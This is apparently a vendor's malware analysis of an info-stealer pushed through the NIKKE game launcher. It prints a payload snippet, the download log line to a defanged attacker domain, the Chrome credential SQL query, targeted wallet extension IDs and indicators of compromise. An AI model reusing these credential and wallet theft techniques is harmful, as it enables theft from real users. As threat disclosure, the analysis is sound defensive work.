
Bitdefender researchers investigated a credential theft campaign that delivered a full-featured info stealer via the NIKKE game launcher.
Goddess of Victory: NIKKE is a free-to-play sci-fi RPG shooter developed by Shift Up and published by Level Infinite for PC, iOS and Android. According to the publisher's October 2026 announcement, the game has recorded more than 45 million downloads worldwide since launch.
Attackers remotely instructed the launcher for the popular free-to-play game to download and execute the payload on the players' machines. They used the server-pushed task channel (which is what tells the client what to download and run).
They didn't patch a binary, exploit a vulnerability or drop a malicious file into the game distribution. The payload was a Lua-based stealer (which we call k2f-agent) that arrived as obfuscated LuaJIT bytecode in the form of a perfectly ordinary log file.
Running inside the launcher's embedded browser engine, the k2f-agent can harvest saved passwords and cookies from Chrome, Edge, and Opera, including those protected by Chrome's App-Bound Encryption.
The malware also targets five crypto wallet browser extensions: MetaMask, Phantom, Coinbase Wallet, Keplr and TronLink.
It can also collect SSH keys, GPG keys, Git credentials, Kubernetes configs, environment variables, shell history, Windows Credential Manager entries, NuGet.Config and the PowerShell profile.
Stolen data is carried along with the launcher's normal outbound traffic. The download, collection, exfiltration, and cleanup all took less than 10 minutes and left very few malicious artifacts.
The domain hosting the payload was registered about five weeks before the attacks, and the hosting provider in Iceland took the server down quickly.
We started looking into this following a spike in our detections involving the Goddess of Victory (NIKKE launcher). The binary's main process was reading browser credential stores, even though it was a signed, legitimate binary.
The detections started on 30th October and carried on through the weekend.
A Reddit post came up at the same time Bitdefender was flagging the game launcher itself, and the poster wasn't sure whether it was a false positive or an actual infection.
We confirmed that the launcher was stealing credentials.
The NIKKE launcher is built on a game platform framework. The client-side architecture has a persistent client-server task channel (internally referred to as a CGI task manager). On login, the launcher queries its backend for tasks.
An embedded downloader then takes the URLs from those tasks and downloads the files to disk. The backend provides the URLs at runtime, so the same launcher build can download from any URL passed through the channel.
On the day of the attack in question, the launcher logged in and requested tasks. It queued the following download 1.6 seconds after the response had come back:
CGIMgr::FireEvents.OnCGITaskRsp, task_id=1073741867, result=0, rsp_code=200
tiny_downloader::TinyDownloader::AddTask.add task, task_id=2147483648,
url=https://analytics.insightjs[.]com/comm/assets/insight.bundle
During the attack analytics.insightjs[.]com resolved to 89.127.233.127, which is a server in Iceland. The domain records show that insightjs[.]com was registered on 27th September 2026, about five weeks before the attack.
The name appears to have been chosen to resemble the existing open-source analytics library 'insight.js' and give the impression of legitimacy; we have no indication that the library or its maintainers are involved.
The downloader saved the 205,135-byte response to:
Launcher\log\tinyget\tinyget.20261103-030255-271.log
The file was in the launcher's log directory and followed the standard download/log naming convention. It was a fairly standard log file, except that it contained LuaJIT 2.1 bytecode (the \x1bLJ magic), which is just compiled Lua (stripped of all debug info).
We searched every shipped executable, DLL, config file and archive in a variety of encodings and couldn't find the delivery URL. It's likely in a server response at runtime because we couldn't find it in the install files themselves.
A CEF build of Chromium 94 gives us the launcher interface. The embedded browser engine (CEF) has a well-documented JS-to-native bridge whereby JS in the webview can call call_service(<name>, <json>) and the launcher's service dispatcher will then pass that call on to a registered native or Lua handler.
When the downloaded bundle loads, its entry module registers a new service, k2f_chan, on this bridge:
local comm = rawget(_G, "comm_center")
if type(comm) == "table" and type(comm["reg_service"]) == "function" then
comm["reg_service"]("k2f_chan", handler)
end
This registration then establishes the attacker's command channel. From that point on, the execution chain remains entirely within the legitimate launcher process. That's why the behavioral telemetry attributed the credential theft to a signed, trusted executable:
C2 server ── CGI task response ──> launcher downloader ──> disguised .log (LuaJIT bytecode)
──> launcher's Lua VM loads bundle ──> k2f_chan service registered
──> remote operator issues JSON ops over the JS bridge
──> launcher process performs file/crypto/registry operations
The malicious logic isn't in the shipped files. Memory forensics found all k2f-related strings and code artifacts in the launcher process's unbacked heap memory, with none present in any modules on disk.
We recovered the bundle and decompiled the LuaJIT bytecode. The payload is using a standard Lua obfuscator with a 1790-entry encrypted string table and a table permutation prelude. There are two bespoke decoders, one for a custom alphabet base64 and one for base85.
We've built a full offline decoder to recover the full plaintext source, including the real module names. The payload also has the build tag K2F_LUA_BUILD = "722b99d8d0e9".
The source has 46 modules in total. These contain 18 operator-facing commands, 13 Windows backends, 7 dedicated collection stages and a data-driven dispatcher. The C2 exposes the following commands:
| Command | Function |
|---|---|
browserscan |
Full browser credential sweep (detailed below) |
wallet_files |
Crypto-wallet browser-extension vault extraction |
keyscan |
Secret-store sweep: SSH, GPG, Git credentials, Kubernetes configs, environment variables, shell history, Windows Credential Manager and developer project files |
file_chunk |
Generic chunked file exfiltration (2 MiB reads; resolves %APPDATA% and similar macros) |
payload_cleanup |
Deletes the disguised bundle and all staged artifacts after the run |
creds |
Windows Credential Manager harvesting (DPAPI) |
chrome_scan / chrome_install / chrome_cleanup / chrome_uninstall |
Dedicated Chromium targeting stage |
exec |
Spawns processes with piped I/O |
download |
Pushes additional files to the host |
ls / cat / cd |
Interactive filesystem access |
screens |
Screenshot capture |
sysinfo / host_facts / whoami |
Reconnaissance |
The BrowserScan operation will search every Chrome, Edge and Opera profile directory it can find (the build also has Firefox/Gecko support). It will collect every Login Data, Login Data for Account, Cookies and Local State file.
The search will go into the recovery, cache and safety list subdirectories, which are subdirectories that legitimate browser processes won't go into. Each database is then placed into the temp directory under the following naming convention:
%TEMP%\k2f-bcreds-<unix-time>-<random>.db (+ .db-wal / .db-shm / .db-journal)
The stealer queries the staged databases with the following Chrome password-store SQL:
SELECT origin_url, username_value, password_value FROM logins
For the classic v10 AES-256-GCM blobs, the decryption engine uses the DPAPI-unwrapped OS-Crypt key from Local State. It also supports Chrome's App-Bound Encryption (introduced in Chrome 127), which suggests maintenance will be required for the more recent browser builds.
The server decides whether or not to collect cookies from each victim. In the captured run, collect_cookies:false was used, which effectively disabled collection (the operator can, of course, change that setting remotely).
The wallet_files operation identifies browser-extension vaults by extension ID and reads their LevelDB storage directly:
| Browser extension ID | Wallet |
|---|---|
nkbihfbeogaeaoehlefnkodbefgpgknn |
MetaMask |
bfnaelmomeimhlpmgjnjophhpkkoljpa |
Phantom (Solana) |
aflkmfhebedbjioipglgcbcmnbpgliof |
Coinbase Wallet |
bhhhlbepdkbapadjdnnojkbgioiodbic |
Keplr (Cosmos) |
acmacodkjbdgmoleebolmdjonilkdbch |
TronLink |
With a MetaMask .ldb vault and the browser's Local State master key an attacker can recover the seed phrase offline and drain the wallet.
The captured run also included retrieval of %APPDATA%\NuGet\NuGet.Config, which contains package-feed credentials, and %USERPROFILE%\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1. These targets suggest interest in software developers and their supply-chain access, as well as game players.
The keyscan modules were present, but the operator didn’t invoke them in this run. They can collect SSH private keys, including PuTTY .ppk files, as well as GPG keyrings, Git credential stores, Kubernetes configs, environment variables and shell history.
The payload download and the stolen data take different network paths:
The launcher binaries, embedded browser, service bridge, downloader and telemetry channel were not modified; the attackers abused them. The exfiltration traffic passed through the launcher’s regular telemetry infrastructure, which we have no reason to believe is controlled by the attackers. We believe the campaign is being run by the operators of the insightjs[.]com delivery domain.
Who they are, we don't know, nor do we know how they got access to the launcher's task channel. There's no game-specific logic in the malicious bundle. An app with the same server-pushed task channel and JS-to-native service bridge would be equally susceptible to abuse.
The activity is difficult to detect for several reasons:
There are two stages at which the defender can detect and block this attack. You could block the delivery URL and thus prevent the stealer from downloading.
In this case, the domain was very recently registered and had no history whatsoever, so it hadn't raised any flags that would have led to it being blocked.
Bitdefender Advanced Threat Defense caught the second stage (a non-browser process accessing the browser credential stores) and terminated the game launcher on affected users' machines before any personal information could be exfiltrated.
The users were effectively locked out of the game, but the intervention stopped the data from being stolen.
The Icelandic hosting provider has taken the malicious server down. With the delivery domain now unreachable, the observed attack chain can't download the bundle, register k2f_chan, or start credential collection. The launcher's normal functionality is unimpeded.
Also, we notified the developer and publisher on November 10th that we would publish this analysis, but they have yet to respond.
Reddit users also observed this pattern and investigated it independently. We acknowledge their contributions:
https://gist.github.com/MotherSphere/d6c049a09ba8ac3085c51ee9df24a4e5
If you played NIKKE (or used the affected launcher) during the attack window, treat the machine as compromised:
Very few persistent disk artefacts are left after the campaign has run. The following are indicators that defenders can look for via behavioral and network monitoring:
This article is published for information and public-interest security research purposes only. It reflects Bitdefender's technical analysis of data available to us at the time of writing, which may be incomplete and may change as more information becomes available. We will update the article if we learn of material new facts.
Nothing in this article states or suggests that Shift Up, Level Infinite, Tencent, the maintainers of insight.js, the hosting provider or any other company or person named here took part in, approved or knew about the malicious activity described. Our findings show that unknown third parties abused legitimate software and infrastructure.
References to products, services and trademarks are for identification only and belong to their owners; no affiliation or endorsement is implied.
Statements about how Bitdefender products performed refer only to the protected systems we observed during this incident and do not guarantee the same result in every environment. The recommendations and indicators of compromise are general guidance, not professional advice for any specific situation; readers should assess their own systems and seek qualified help where needed. To the extent permitted by law, Bitdefender is not liable for any action taken or not taken based on this article.
Third-party links are provided for reference; we do not control and are not responsible for their content. Community researchers are credited with their consent. If you believe any information here is inaccurate or concerns you personally, contact us at legal@bitdefender.com and we will review it promptly.
| Indicator type | Value |
|---|---|
| Domain | analytics.insightjs[.]com, insightjs[.]com |
| IP address | 89.127.233.127 |
| URL path | /comm/assets/insight.bundle |
| Payload file path | Launcher\log\tinyget\tinyget.<yyyymmdd>-<hhmmss>-<pid>.log — contains LuaJIT bytecode |
| SHA-256 | CC0AD05BFE85940A6067B3A72C182D3953339129206634141926D5D0B35973EC |
| Collected credentials file path | %TEMP%\k2f-bcreds-<unix>-<rand>.db — contains collected browser credentials |
| Payload build tag | K2F_LUA_BUILD = "722b99d8d0e9" |
tags
Security Researcher at Bitdefender with a passion for reverse engineering. Always curious to see what new techniques attackers come up with next.
View all postsI'm a senior software engineer at Bitdefender. Passionate about malware behavior analysis, I am continuously looking for new tricks employed by malicious actors.
View all posts